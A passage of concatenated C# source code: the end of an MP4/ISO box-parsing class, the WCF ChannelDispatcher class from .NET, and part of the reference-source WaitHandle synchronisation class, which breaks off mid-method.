(e.Message); } } #endregion #region Private Methods /// <summary> /// Parses boxes for a specified range, looking for headers. /// </summary> /// <param name="start"> /// A <see cref="long" /> value specifying the seek position /// at which to start reading. /// </param> /// <param name="end"> /// A <see cref="long" /> value specifying the seek position /// at which to stop reading. /// </param> /// <param name="parents"> /// A <see cref="T:System.Collections.Generic.List`1" /> object containing all the parent /// handlers that apply to the range. /// </param> private void ParseBoxHeaders (long start, long end, List<BoxHeader> parents) { BoxHeader header; for (long position = start; position < end; position += header.TotalBoxSize) { header = new BoxHeader (file, position); if (moov_tree == null && header.BoxType == BoxType.Moov) { List<BoxHeader> new_parents = AddParent ( parents, header); moov_tree = new_parents.ToArray (); ParseBoxHeaders ( header.HeaderSize + position, header.TotalBoxSize + position, new_parents); } else if (header.BoxType == BoxType.Mdia || header.BoxType == BoxType.Minf || header.BoxType == BoxType.Stbl || header.BoxType == BoxType.Trak) { ParseBoxHeaders ( header.HeaderSize + position, header.TotalBoxSize + position, AddParent (parents, header)); } else if (udta_tree == null && header.BoxType == BoxType.Udta) { // For compatibility, we still store the tree to the first udta // block. The proper way to get this info is from the individual // IsoUserDataBox.ParentTree member. udta_tree = AddParent (parents, header).ToArray (); } else if (header.BoxType == BoxType.Mdat) { mdat_start = position; mdat_end = position + header.TotalBoxSize; } if (header.TotalBoxSize == 0) break; } } /// <summary> /// Parses boxes for a specified range, looking for tags. /// </summary> /// <param name="start"> /// A <see cref="long" /> value specifying the seek position /// at which to start reading. /// </param> /// <param name="end"> /// A <see cref="long" /> value specifying the seek position /// at which to stop reading. /// </param> private void ParseTag (long start, long end, List<BoxHeader> parents) { BoxHeader header; for (long position = start; position < end; position += header.TotalBoxSize) { header = new BoxHeader (file, position); if (header.BoxType == BoxType.Moov) { ParseTag (header.HeaderSize + position, header.TotalBoxSize + position, AddParent (parents, header)); } else if (header.BoxType == BoxType.Mdia || header.BoxType == BoxType.Minf || header.BoxType == BoxType.Stbl || header.BoxType == BoxType.Trak) { ParseTag (header.HeaderSize + position, header.TotalBoxSize + position, AddParent (parents, header)); } else if (header.BoxType == BoxType.Udta) { IsoUserDataBox udtaBox = BoxFactory.CreateBox (file, header) as IsoUserDataBox; // Since we can have multiple udta boxes, save the parent for each one List<BoxHeader> new_parents = AddParent ( parents, header); udtaBox.ParentTree = new_parents.ToArray (); udta_boxes.Add(udtaBox); } else if (header.BoxType == BoxType.Mdat) { mdat_start = position; mdat_end = position + header.TotalBoxSize; } if (header.TotalBoxSize == 0) break; } } /// <summary> /// Parses boxes for a specified range, looking for tags and /// properties. /// </summary> /// <param name="start"> /// A <see cref="long" /> value specifying the seek position /// at which to start reading. /// </param> /// <param name="end"> /// A <see cref="long" /> value specifying the seek position /// at which to stop reading. /// </param> /// <param name="handler"> /// A <see cref="IsoHandlerBox" /> object that applied to the /// range being searched. /// </param> private void ParseTagAndProperties (long start, long end, IsoHandlerBox handler, List<BoxHeader> parents) { BoxHeader header; for (long position = start; position < end; position += header.TotalBoxSize) { header = new BoxHeader (file, position); ByteVector type = header.BoxType; if (type == BoxType.Moov) { ParseTagAndProperties (header.HeaderSize + position, header.TotalBoxSize + position, handler, AddParent (parents, header)); } else if (type == BoxType.Mdia || type == BoxType.Minf || type == BoxType.Stbl || type == BoxType.Trak) { ParseTagAndProperties ( header.HeaderSize + position, header.TotalBoxSize + position, handler, AddParent (parents, header)); } else if (type == BoxType.Stsd) { stsd_boxes.Add (BoxFactory.CreateBox ( file, header, handler)); } else if (type == BoxType.Hdlr) { handler = BoxFactory.CreateBox (file, header, handler) as IsoHandlerBox; } else if (mvhd_box == null && type == BoxType.Mvhd) { mvhd_box = BoxFactory.CreateBox (file, header, handler) as IsoMovieHeaderBox; } else if (type == BoxType.Udta) { IsoUserDataBox udtaBox = BoxFactory.CreateBox (file, header, handler) as IsoUserDataBox; // Since we can have multiple udta boxes, save the parent for each one List<BoxHeader> new_parents = AddParent ( parents, header); udtaBox.ParentTree = new_parents.ToArray (); udta_boxes.Add(udtaBox); } else if (type == BoxType.Mdat) { mdat_start = position; mdat_end = position + header.TotalBoxSize; } if (header.TotalBoxSize == 0) break; } } /// <summary> /// Parses boxes for a specified range, looking for chunk /// offset boxes. /// </summary> /// <param name="start"> /// A <see cref="long" /> value specifying the seek position /// at which to start reading. /// </param> /// <param name="end"> /// A <see cref="long" /> value specifying the seek position /// at which to stop reading. /// </param> private void ParseChunkOffsets (long start, long end) { BoxHeader header; for (long position = start; position < end; position += header.TotalBoxSize) { header = new BoxHeader (file, position); if (header.BoxType == BoxType.Moov) { ParseChunkOffsets ( header.HeaderSize + position, header.TotalBoxSize + position); } else if (header.BoxType == BoxType.Moov || header.BoxType == BoxType.Mdia || header.BoxType == BoxType.Minf || header.BoxType == BoxType.Stbl || header.BoxType == BoxType.Trak) { ParseChunkOffsets ( header.HeaderSize + position, header.TotalBoxSize + position); } else if (header.BoxType == BoxType.Stco || header.BoxType == BoxType.Co64) { stco_boxes.Add (BoxFactory.CreateBox ( file, header)); } else if (header.BoxType == BoxType.Mdat) { mdat_start = position; mdat_end = position + header.TotalBoxSize; } if (header.TotalBoxSize == 0) break; } } /// <summary> /// Resets all internal fields. /// </summary> private void ResetFields () { mvhd_box = null; udta_boxes.Clear (); moov_tree = null; udta_tree = null; stco_boxes.Clear (); stsd_boxes.Clear (); mdat_start = -1; mdat_end = -1; } #endregion #region Private Static Methods /// <summary> /// Adds a parent to the end of an existing list of parents. /// </summary> /// <param name="parents"> /// A <see cref="T:System.Collections.Generic.List`1" /> object containing an existing /// list of parents. /// </param> /// <param name="current"> /// A <see cref="BoxHeader" /> object to add to the list. /// </param> /// <returns> /// A new <see cref="T:System.Collections.Generic.List`1" /> object containing the list /// of parents, including the added header. /// </returns> private static List<BoxHeader> AddParent (List<BoxHeader> parents, BoxHeader current) { List<BoxHeader> boxes = new List<BoxHeader> (); if (parents != null) boxes.AddRange (parents); boxes.Add (current); return boxes; } #endregion } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Collections.Generic; using System.Collections.ObjectModel; using System.Globalization; using System.Runtime; using System.Runtime.Diagnostics; using System.ServiceModel.Channels; using System.Text; using System.Threading.Tasks; namespace System.ServiceModel.Dispatcher { public class ChannelDispatcher : ChannelDispatcherBase { private SynchronizedCollection<IChannelInitializer> _channelInitializers; private EndpointDispatcherCollection _endpointDispatchers; private bool _receiveContextEnabled; private readonly IChannelListener _listener = null; private ListenerHandler _listenerHandler; private int _maxTransactedBatchSize; private MessageVersion _messageVersion; private bool _receiveSynchronously; private bool _sendAsynchronously; private int _maxPendingReceives; private bool _includeExceptionDetailInFaults; private bool _session = false; private SharedRuntimeState _shared; private TimeSpan _transactionTimeout; private bool _performDefaultCloseInput; private EventTraceActivity _eventTraceActivity; private ErrorBehavior _errorBehavior; internal ChannelDispatcher(SharedRuntimeState shared) { Initialize(shared); } private void Initialize(SharedRuntimeState shared) { _shared = shared; _endpointDispatchers = new EndpointDispatcherCollection(this); _channelInitializers = NewBehaviorCollection<IChannelInitializer>(); Channels = new CommunicationObjectManager<IChannel>(ThisLock); PendingChannels = new SynchronizedChannelCollection<IChannel>(ThisLock); ErrorHandlers = new Collection<IErrorHandler>(); _receiveSynchronously = false; _transactionTimeout = TimeSpan.Zero; _maxPendingReceives = 1; //Default maxpending receives is 1; if (_listener != null) { _listener.Faulted += new EventHandler(OnListenerFaulted); } } protected override TimeSpan DefaultCloseTimeout { get { if (DefaultCommunicationTimeouts != null) { return DefaultCommunicationTimeouts.CloseTimeout; } else { return ServiceDefaults.CloseTimeout; } } } protected override TimeSpan DefaultOpenTimeout { get { if (DefaultCommunicationTimeouts != null) { return DefaultCommunicationTimeouts.OpenTimeout; } else { return ServiceDefaults.OpenTimeout; } } } internal EndpointDispatcherTable EndpointDispatcherTable { get; private set; } internal CommunicationObjectManager<IChannel> Channels { get; private set; } public SynchronizedCollection<EndpointDispatcher> Endpoints { get { return _endpointDispatchers; } } public Collection<IErrorHandler> ErrorHandlers { get; private set; } public MessageVersion MessageVersion { get { return _messageVersion; } set { _messageVersion = value; ThrowIfDisposedOrImmutable(); } } internal bool EnableFaults { get { return _shared.EnableFaults; } set { ThrowIfDisposedOrImmutable(); _shared.EnableFaults = value; } } internal bool IsOnServer { get { return _shared.IsOnServer; } } public bool ReceiveContextEnabled { get { return _receiveContextEnabled; } set { ThrowIfDisposedOrImmutable(); _receiveContextEnabled = value; } } internal bool BufferedReceiveEnabled { get; set; } public override IChannelListener Listener { get { return _listener; } } public int MaxTransactedBatchSize { get { return _maxTransactedBatchSize; } set { if (value < 0) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new ArgumentOutOfRangeException(nameof(value), value, SR.ValueMustBeNonNegative)); } ThrowIfDisposedOrImmutable(); _maxTransactedBatchSize = value; } } public bool ManualAddressing { get { return _shared.ManualAddressing; } set { ThrowIfDisposedOrImmutable(); _shared.ManualAddressing = value; } } internal SynchronizedChannelCollection<IChannel> PendingChannels { get; private set; } public bool ReceiveSynchronously { get { return _receiveSynchronously; } set { ThrowIfDisposedOrImmutable(); _receiveSynchronously = value; } } public bool SendAsynchronously { get { return _sendAsynchronously; } set { ThrowIfDisposedOrImmutable(); _sendAsynchronously = value; } } public int MaxPendingReceives { get { return _maxPendingReceives; } set { ThrowIfDisposedOrImmutable(); _maxPendingReceives = value; } } public bool IncludeExceptionDetailInFaults { get { return _includeExceptionDetailInFaults; } set { lock (ThisLock) { ThrowIfDisposedOrImmutable(); _includeExceptionDetailInFaults = value; } } } internal IDefaultCommunicationTimeouts DefaultCommunicationTimeouts { get; } = null; private void AbortPendingChannels() { lock (ThisLock) { for (int i = PendingChannels.Count - 1; i >= 0; i--) { PendingChannels[i].Abort(); } } } internal override void CloseInput(TimeSpan timeout) { // we have to perform some slightly convoluted logic here due to // backwards compat. We probably need an IAsyncChannelDispatcher // interface that has timeouts and async CloseInput(); if (_performDefaultCloseInput) { TimeoutHelper timeoutHelper = new TimeoutHelper(timeout); lock (ThisLock) { ListenerHandler handler = _listenerHandler; if (handler != null) { handler.CloseInput(timeoutHelper.RemainingTime()); } } if (!_session) { ListenerHandler handler = _listenerHandler; if (handler != null) { handler.Close(timeoutHelper.RemainingTime()); } } } } public override void CloseInput() { _performDefaultCloseInput = true; } private void OnListenerFaulted(object sender, EventArgs e) { Fault(); } internal bool HandleError(Exception error) { ErrorHandlerFaultInfo dummy = new ErrorHandlerFaultInfo(); return HandleError(error, ref dummy); } internal bool HandleError(Exception error, ref ErrorHandlerFaultInfo faultInfo) { ErrorBehavior behavior; lock (ThisLock) { if (_errorBehavior != null) { behavior = _errorBehavior; } else { behavior = new ErrorBehavior(this); } } if (behavior != null) { return behavior.HandleError(error, ref faultInfo); } else { return false; } } internal void InitializeChannel(IClientChannel channel) { ThrowIfDisposedOrNotOpen(); try { for (int i = 0; i < _channelInitializers.Count; ++i) { _channelInitializers[i].Initialize(channel); } } catch (Exception e) { if (Fx.IsFatal(e)) { throw; } throw DiagnosticUtility.ExceptionUtility.ThrowHelperCallback(e); } } internal SynchronizedCollection<T> NewBehaviorCollection<T>() { return new ChannelDispatcherBehaviorCollection<T>(this); } private void OnAddEndpoint(EndpointDispatcher endpoint) { lock (ThisLock) { endpoint.Attach(this); if (State == CommunicationState.Opened) { EndpointDispatcherTable.AddEndpoint(endpoint); } } } private void OnRemoveEndpoint(EndpointDispatcher endpoint) { lock (ThisLock) { if (State == CommunicationState.Opened) { EndpointDispatcherTable.RemoveEndpoint(endpoint); } endpoint.Detach(this); } } protected override void OnAbort() { if (_listener != null) { _listener.Abort(); } ListenerHandler handler = _listenerHandler; if (handler != null) { handler.Abort(); } AbortPendingChannels(); } protected override void OnClose(TimeSpan timeout) { TimeoutHelper timeoutHelper = new TimeoutHelper(timeout); if (_listener != null) { _listener.Close(timeoutHelper.RemainingTime()); } ListenerHandler handler = _listenerHandler; if (handler != null) { handler.Close(timeoutHelper.RemainingTime()); } AbortPendingChannels(); } protected override IAsyncResult OnBeginClose(TimeSpan timeout, AsyncCallback callback, object state) { List<ICommunicationObject> list = new List<ICommunicationObject>(); if (_listener != null) { list.Add(_listener); } ListenerHandler handler = _listenerHandler; if (handler != null) { list.Add(handler); } return new CloseCollectionAsyncResult(timeout, callback, state, list); } protected override void OnEndClose(IAsyncResult result) { try { CloseCollectionAsyncResult.End(result); } finally { AbortPendingChannels(); } } protected override void OnClosed() { base.OnClosed(); } protected override void OnOpen(TimeSpan timeout) { ThrowIfNoMessageVersion(); if (_listener != null) { try { _listener.Open(timeout); } catch (InvalidOperationException e) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(CreateOuterExceptionWithEndpointsInformation(e)); } } } protected internal override Task OnCloseAsync(TimeSpan timeout) { OnClose(timeout); return TaskHelpers.CompletedTask(); } protected internal override Task OnOpenAsync(TimeSpan timeout) { OnOpen(timeout); return TaskHelpers.CompletedTask(); } private InvalidOperationException CreateOuterExceptionWithEndpointsInformation(InvalidOperationException e) { string endpointContractNames = CreateContractListString(); if (String.IsNullOrEmpty(endpointContractNames)) { return new InvalidOperationException(SR.Format(SR.SFxChannelDispatcherUnableToOpen1, _listener.Uri), e); } else { return new InvalidOperationException(SR.Format(SR.SFxChannelDispatcherUnableToOpen2, _listener.Uri, endpointContractNames), e); } } internal string CreateContractListString() { const string OpenQuote = "\""; const string CloseQuote = "\""; const string Space = " "; Collection<string> namesSeen = new Collection<string>(); StringBuilder endpointContractNames = new StringBuilder(); lock (ThisLock) { foreach (EndpointDispatcher ed in Endpoints) { if (!namesSeen.Contains(ed.ContractName)) { if (endpointContractNames.Length > 0) { endpointContractNames.Append(CultureInfo.CurrentCulture.TextInfo.ListSeparator); endpointContractNames.Append(Space); } endpointContractNames.Append(OpenQuote); endpointContractNames.Append(ed.ContractName); endpointContractNames.Append(CloseQuote); namesSeen.Add(ed.ContractName); } } } return endpointContractNames.ToString(); } protected override IAsyncResult OnBeginOpen(TimeSpan timeout, AsyncCallback callback, object state) { ThrowIfNoMessageVersion(); if (_listener != null) { try { return _listener.BeginOpen(timeout, callback, state); } catch (InvalidOperationException e) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(CreateOuterExceptionWithEndpointsInformation(e)); } } else { return new CompletedAsyncResult(callback, state); } } protected override void OnEndOpen(IAsyncResult result) { if (_listener != null) { try { _listener.EndOpen(result); } catch (InvalidOperationException e) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(CreateOuterExceptionWithEndpointsInformation(e)); } } else { CompletedAsyncResult.End(result); } } protected override void OnOpening() { if (WcfEventSource.Instance.ListenerOpenStartIsEnabled()) { _eventTraceActivity = EventTraceActivity.GetFromThreadOrCreate(); WcfEventSource.Instance.ListenerOpenStart(_eventTraceActivity, (Listener != null) ? Listener.Uri.ToString() : string.Empty, Guid.Empty); // Desktop: (this.host != null && host.EventTraceActivity != null) ? this.host.EventTraceActivity.ActivityId : Guid.Empty); } base.OnOpening(); } protected override void OnOpened() { base.OnOpened(); if (WcfEventSource.Instance.ListenerOpenStopIsEnabled()) { WcfEventSource.Instance.ListenerOpenStop(_eventTraceActivity); _eventTraceActivity = null; // clear this since we don't need this anymore. } _errorBehavior = new ErrorBehavior(this); EndpointDispatcherTable = new EndpointDispatcherTable(ThisLock); for (int i = 0; i < _endpointDispatchers.Count; i++) { EndpointDispatcher endpoint = _endpointDispatchers[i]; // Force a build of the runtime to catch any unexpected errors before we are done opening. // Lock down the DispatchRuntime. endpoint.DispatchRuntime.LockDownProperties(); EndpointDispatcherTable.AddEndpoint(endpoint); } IListenerBinder binder = ListenerBinder.GetBinder(_listener, _messageVersion); _listenerHandler = new ListenerHandler(binder, this, DefaultCommunicationTimeouts); _listenerHandler.Open(); // This never throws, which is why it's ok for it to happen in OnOpened } internal void ProvideFault(Exception e, FaultConverter faultConverter, ref ErrorHandlerFaultInfo faultInfo) { ErrorBehavior behavior; lock (ThisLock) { if (_errorBehavior != null) { behavior = _errorBehavior; } else { behavior = new ErrorBehavior(this); } } behavior.ProvideFault(e, faultConverter, ref faultInfo); } internal new void ThrowIfDisposedOrImmutable() { base.ThrowIfDisposedOrImmutable(); _shared.ThrowIfImmutable(); } private void ThrowIfNoMessageVersion() { if (_messageVersion == null) { Exception error = new InvalidOperationException(SR.SFxChannelDispatcherNoMessageVersion); throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(error); } } internal class EndpointDispatcherCollection : SynchronizedCollection<EndpointDispatcher> { private ChannelDispatcher _owner; internal EndpointDispatcherCollection(ChannelDispatcher owner) : base(owner.ThisLock) { _owner = owner; } protected override void ClearItems() { foreach (EndpointDispatcher item in Items) { _owner.OnRemoveEndpoint(item); } base.ClearItems(); } protected override void InsertItem(int index, EndpointDispatcher item) { if (item == null) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull(nameof(item)); } _owner.OnAddEndpoint(item); base.InsertItem(index, item); } protected override void RemoveItem(int index) { EndpointDispatcher item = Items[index]; base.RemoveItem(index); _owner.OnRemoveEndpoint(item); } protected override void SetItem(int index, EndpointDispatcher item) { Exception error = new InvalidOperationException(SR.SFxCollectionDoesNotSupportSet0); throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(error); } } internal class ChannelDispatcherBehaviorCollection<T> : SynchronizedCollection<T> { private ChannelDispatcher _outer; internal ChannelDispatcherBehaviorCollection(ChannelDispatcher outer) : base(outer.ThisLock) { _outer = outer; } protected override void ClearItems() { _outer.ThrowIfDisposedOrImmutable(); base.ClearItems(); } protected override void InsertItem(int index, T item) { if (item == null) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull(nameof(item)); } _outer.ThrowIfDisposedOrImmutable(); base.InsertItem(index, item); } protected override void RemoveItem(int index) { _outer.ThrowIfDisposedOrImmutable(); base.RemoveItem(index); } protected override void SetItem(int index, T item) { if (item == null) { throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull(nameof(item)); } _outer.ThrowIfDisposedOrImmutable(); base.SetItem(index, item); } } } }
// ==++== // // Copyright (c) Microsoft Corporation. All rights reserved. // // ==--== // // <OWNER>[....]</OWNER> /*============================================================================= ** ** Class: WaitHandle (this name is NOT definitive) ** ** ** Purpose: Class to represent all synchronization objects in the runtime (that allow multiple wait) ** ** =============================================================================*/ #if MONO #undef FEATURE_PAL #endif using Microsoft.Win32; using Microsoft.Win32.SafeHandles; namespace System.Threading { using System.Threading; using System.Runtime.Remoting; using System; using System.Security.Permissions; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Runtime.Versioning; using System.Runtime.ConstrainedExecution; using System.Diagnostics.Contracts; using System.Diagnostics.CodeAnalysis; [System.Runtime.InteropServices.ComVisible(true)] #if FEATURE_REMOTING public abstract partial class WaitHandle : MarshalByRefObject, IDisposable { #else // FEATURE_REMOTING public abstract partial class WaitHandle : IDisposable { #endif // FEATURE_REMOTING public const int WaitTimeout = 0x102; private const int MAX_WAITHANDLES = 64; #pragma warning disable 414 // Field is not used from managed. private IntPtr waitHandle; // !!! DO NOT MOVE THIS FIELD. (See defn of WAITHANDLEREF in object.h - has hardcoded access to this field.) #pragma warning restore 414 [System.Security.SecurityCritical] // auto-generated internal volatile SafeWaitHandle safeWaitHandle; internal bool hasThreadAffinity; #if !MONO [System.Security.SecuritySafeCritical] // auto-generated private static IntPtr GetInvalidHandle() { return Win32Native.INVALID_HANDLE_VALUE; } protected static readonly IntPtr InvalidHandle = GetInvalidHandle(); #endif // !MONO private const int WAIT_OBJECT_0 = 0; private const int WAIT_ABANDONED = 0x80; private const int WAIT_FAILED = 0x7FFFFFFF; private const int ERROR_TOO_MANY_POSTS = 0x12A; internal enum OpenExistingResult { Success, NameNotFound, PathNotFound, NameInvalid } protected WaitHandle() { Init(); } [System.Security.SecuritySafeCritical] // auto-generated private void Init() { safeWaitHandle = null; waitHandle = InvalidHandle; hasThreadAffinity = false; } [Obsolete("Use the SafeWaitHandle property instead.")] public virtual IntPtr Handle { [System.Security.SecuritySafeCritical] // auto-generated [ResourceExposure(ResourceScope.Machine)] [ResourceConsumption(ResourceScope.Machine)] get { return safeWaitHandle == null ? InvalidHandle : safeWaitHandle.DangerousGetHandle();} [System.Security.SecurityCritical] // auto-generated_required #if !FEATURE_CORECLR [SecurityPermissionAttribute(SecurityAction.InheritanceDemand, Flags=SecurityPermissionFlag.UnmanagedCode)] #endif [ResourceExposure(ResourceScope.Machine)] [ResourceConsumption(ResourceScope.Machine)] set { if (value == InvalidHandle) { // This line leaks a handle. However, it's currently // not perfectly clear what the right behavior is here // anyways. This preserves Everett behavior. We should // ideally do these things: // *) Expose a settable SafeHandle property on WaitHandle. // *) Expose a settable OwnsHandle property on SafeHandle. // We're looking into this. -- [....] if (safeWaitHandle != null) { safeWaitHandle.SetHandleAsInvalid(); safeWaitHandle = null; } } else { safeWaitHandle = new SafeWaitHandle(value, true); } waitHandle = value; } } public SafeWaitHandle SafeWaitHandle { [System.Security.SecurityCritical] // auto-generated_required #if !FEATURE_CORECLR [SecurityPermissionAttribute(SecurityAction.InheritanceDemand, Flags=SecurityPermissionFlag.UnmanagedCode)] #endif [ResourceExposure(ResourceScope.Machine)] [ResourceConsumption(ResourceScope.Machine)] [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] get { if (safeWaitHandle == null) { safeWaitHandle = new SafeWaitHandle(InvalidHandle, false); } return safeWaitHandle; } [System.Security.SecurityCritical] // auto-generated_required #if !FEATURE_CORECLR [SecurityPermissionAttribute(SecurityAction.InheritanceDemand, Flags=SecurityPermissionFlag.UnmanagedCode)] #endif [ResourceExposure(ResourceScope.Machine)] [ResourceConsumption(ResourceScope.Machine)] [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] set { // Set safeWaitHandle and waitHandle in a CER so we won't take // a thread abort between the statements and leave the wait // handle in an invalid state. Note this routine is not thread // safe however. RuntimeHelpers.PrepareConstrainedRegions(); try { } finally { if (value == null) { safeWaitHandle = null; waitHandle = InvalidHandle; } else { safeWaitHandle = value; waitHandle = safeWaitHandle.DangerousGetHandle(); } } } } // Assembly-private version that doesn't do a security check. Reduces the // number of link-time security checks when reading & writing to a file, // and helps avoid a link time check while initializing security (If you // call a Serialization method that requires security before security // has started up, the link time check will start up security, run // serialization code for some security attribute stuff, call into // FileStream, which will then call Sethandle, which requires a link time // security check.). While security has fixed that problem, we still // don't need to do a linktime check here. [System.Security.SecurityCritical] // auto-generated [ResourceExposure(ResourceScope.Machine)] [ResourceConsumption(ResourceScope.Machine)] internal void SetHandleInternal(SafeWaitHandle handle) { safeWaitHandle = handle; waitHandle = handle.DangerousGetHandle(); } public virtual bool WaitOne (int millisecondsTimeout, bool exitContext) { if (millisecondsTimeout < -1) { throw new ArgumentOutOfRangeException("millisecondsTimeout", Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); } Contract.EndContractBlock(); return WaitOne((long)millisecondsTimeout,exitContext); } public virtual bool WaitOne (TimeSpan timeout, bool exitContext) { long tm = (long)timeout.TotalMilliseconds; if (-1 > tm || (long) Int32.MaxValue < tm) { throw new ArgumentOutOfRangeException("timeout", Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); } return WaitOne(tm,exitContext); } public virtual bool WaitOne () { //Infinite Timeout return WaitOne(-1,false); } public virtual bool WaitOne(int millisecondsTimeout) { return WaitOne(millisecondsTimeout, false); } public virtual bool WaitOne(TimeSpan timeout) { return WaitOne(timeout, false); } [System.Security.SecuritySafeCritical] // auto-generated [SuppressMessage("Microsoft.Concurrency", "CA8001", Justification = "Reviewed for thread-safety.")] private bool WaitOne(long timeout, bool exitContext) { return InternalWaitOne(safeWaitHandle, timeout, hasThreadAffinity, exitContext); } [System.Security.SecurityCritical] // auto-generated internal static bool InternalWaitOne(SafeHandle waitableSafeHandle, long millisecondsTimeout, bool hasThreadAffinity, bool exitContext) { if (waitableSafeHandle == null) { throw new ObjectDisposedException(null, Environment.GetResourceString("ObjectDisposed_Generic")); } Contract.EndContractBlock(); int ret = WaitOneNative(waitableSafeHandle, (uint)millisecondsTimeout, hasThreadAffinity, exitContext); #if !MONO if(AppDomainPauseManager.IsPaused) AppDomainPauseManager.ResumeEvent.WaitOneWithoutFAS(); #endif // !MONO if (ret == WAIT_ABANDONED) { ThrowAbandonedMutexException(); } return (ret != WaitTimeout); } [System.Security.SecurityCritical] internal bool WaitOneWithoutFAS() { // version of waitone without fast application switch (FAS) support // This is required to support the Wait which FAS needs (otherwise recursive dependency comes in) if (safeWaitHandle == null) { throw new ObjectDisposedException(null, Environment.GetResourceString("ObjectDisposed_Generic")); } Contract.EndContractBlock(); long timeout = -1; int ret = WaitOneNative(safeWaitHandle, (uint)timeout, hasThreadAffinity, false); if (ret == WAIT_ABANDONED) { ThrowAbandonedMutexException(); } return (ret != WaitTimeout); } #if !MONO [System.Security.SecurityCritical] // auto-generated [ResourceExposure(ResourceScope.None)] [MethodImplAttribute(MethodImplOptions.InternalCall)] private static extern int WaitOneNative(SafeHandle waitableSafeHandle, uint millisecondsTimeout, bool hasThreadAffinity, bool exitContext); #endif // !MONO /*======================================================================== ** Waits for signal from all the objects. ** timeout indicates how long to wait before the method returns. ** This method will return either when all the object have been pulsed ** or timeout milliseonds have elapsed. ** If exitContext is true then the synchronization domain for the context ** (if in a synchronized context) is exited before the wait and reacquired ========================================================================*/ #if !MONO [System.Security.SecurityCritical] // auto-generated [ResourceExposure(ResourceScope.None)] [MethodImplAttribute(MethodImplOptions.InternalCall)] [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] private static extern int WaitMultiple(WaitHandle[] waitHandles, int millisecondsTimeout, bool exitContext, bool WaitAll); #endif // !MONO [System.Security.SecuritySafeCritical] // auto-generated public static bool WaitAll(WaitHandle[] waitHandles, int millisecondsTimeout, bool exitContext) { if (waitHandles == null) { throw new ArgumentNullException(Environment.GetResourceString("ArgumentNull_Waithandles")); } if(waitHandles.Length == 0) { // // Some history: in CLR 1.0 and 1.1, we threw ArgumentException in this case, which was correct. // Somehow, in 2.0, this became ArgumentNullException. This was not fixed until Silverlight 2, // which went back to ArgumentException. // // Now we're in a bit of a bind. Backward-compatibility requires us to keep throwing ArgumentException // in CoreCLR, and ArgumentNullException in the desktop CLR. This is ugly, but so is breaking // user code. // #if FEATURE_CORECLR throw new ArgumentException(Environment.GetResourceString("Argument_EmptyWaithandleArray")); #else throw new ArgumentNullException(Environment.GetResourceString("Argument_EmptyWaithandleArray")); #endif } if (waitHandles.Length > MAX_WAITHANDLES) { throw new NotSupportedException(Environment.GetResourceString("NotSupported_MaxWaitHandles")); } if (-1 > millisecondsTimeout) { throw new ArgumentOutOfRangeException("millisecondsTimeout", Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); } Contract.EndContractBlock(); WaitHandle[] internalWaitHandles = new WaitHandle[waitHandles.Length]; for (int i = 0; i < waitHandles.Length; i ++) { WaitHandle waitHandle = waitHandles[i]; if (waitHandle == null) throw new ArgumentNullException(Environment.GetResourceString("ArgumentNull_ArrayElement")); #if FEATURE_REMOTING if (RemotingServices.IsTransparentProxy(waitHandle)) throw new InvalidOperationException(Environment.GetResourceString("InvalidOperation_WaitOnTransparentProxy")); #endif internalWaitHandles[i] = waitHandle; } #if _DEBUG // make sure we do not use waitHandles any more. waitHandles = null; #endif #if FEATURE_LEGACYNETCF // WinCE did not support "wait all." It turns out that this resulted in NetCF's WaitAll implementation always returning true. // Unfortunately, some apps took a dependency on that, so we have to replicate the behavior here. if (CompatibilitySwitches.IsAppEarlierThanWindowsPhone8) return true; #endif int ret = WaitMultiple(internalWaitHandles, millisecondsTimeout, exitContext, true /* waitall*/ ); #if !MONO if(AppDomainPauseManager.IsPaused) AppDomainPauseManager.ResumeEvent.WaitOneWithoutFAS(); #endif // !MONO if ((WAIT_ABANDONED <= ret) && (WAIT_ABANDONED+internalWaitHandles.Length > ret)) { //In the case of WaitAll the OS will only provide the // information that mutex was abandoned. // It won't tell us which one. So we can't set the Index or provide access to the Mutex ThrowAbandonedMutexException(); } GC.KeepAlive(internalWaitHandles); return (ret != WaitTimeout); } public static bool WaitAll( WaitHandle[] waitHandles, TimeSpan timeout, bool exitContext) { long tm = (long)timeout.TotalMilliseconds; if (-1 > tm || (long) Int32.MaxValue < tm) { throw new ArgumentOutOfRangeException("timeout", Environment.GetResourceString("ArgumentOutOfRange_NeedNonNegOrNegative1")); } return WaitAll(waitHandles,(int)tm, exitContext); } /*======================================================================== ** Shorthand for WaitAll with timeout = Timeout.Infinite and exitContext = true ========================================================================*/ public static bool WaitAll(WaitHandle[] waitHandles) { return WaitAll(waitHandles, Timeout.Infinite, true); } public static bool WaitAll(WaitHandle[] waitHandles, int millisecondsTimeout) { return WaitAll(waitHandles, millisecondsTimeout, true); } public static bool WaitAll(WaitHandle[] waitHandles, TimeSpan timeout) { return WaitAll(waitHandles, timeout, true); } /*======================================================================== ** Waits for notification from any of the objects. ** timeout indicates how long to wait before the method returns. ** This method will return either when either one of the object have been ** signalled or timeout milliseonds have elapsed. ** If exitContext is true then the synchronization domain for the context ** (if in a synchronized context) is exited before the wait and reacquired ========================================================================*/ [System.Security.SecuritySafeCritical] // auto-generated [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] public static int WaitAny(WaitHandle[] waitHandles, int millisecondsTimeout, bool exitContext) { if (waitHandles==null) { throw new ArgumentNullException(Environment.GetResourceString("ArgumentNull_Waithandles")); } if(waitHandles.Length == 0) { throw new ArgumentException(Environment.GetResourceString("Argument_EmptyWaithandleArray")); } if (MAX_WAITHANDLES < waitHandles.Length) { throw new 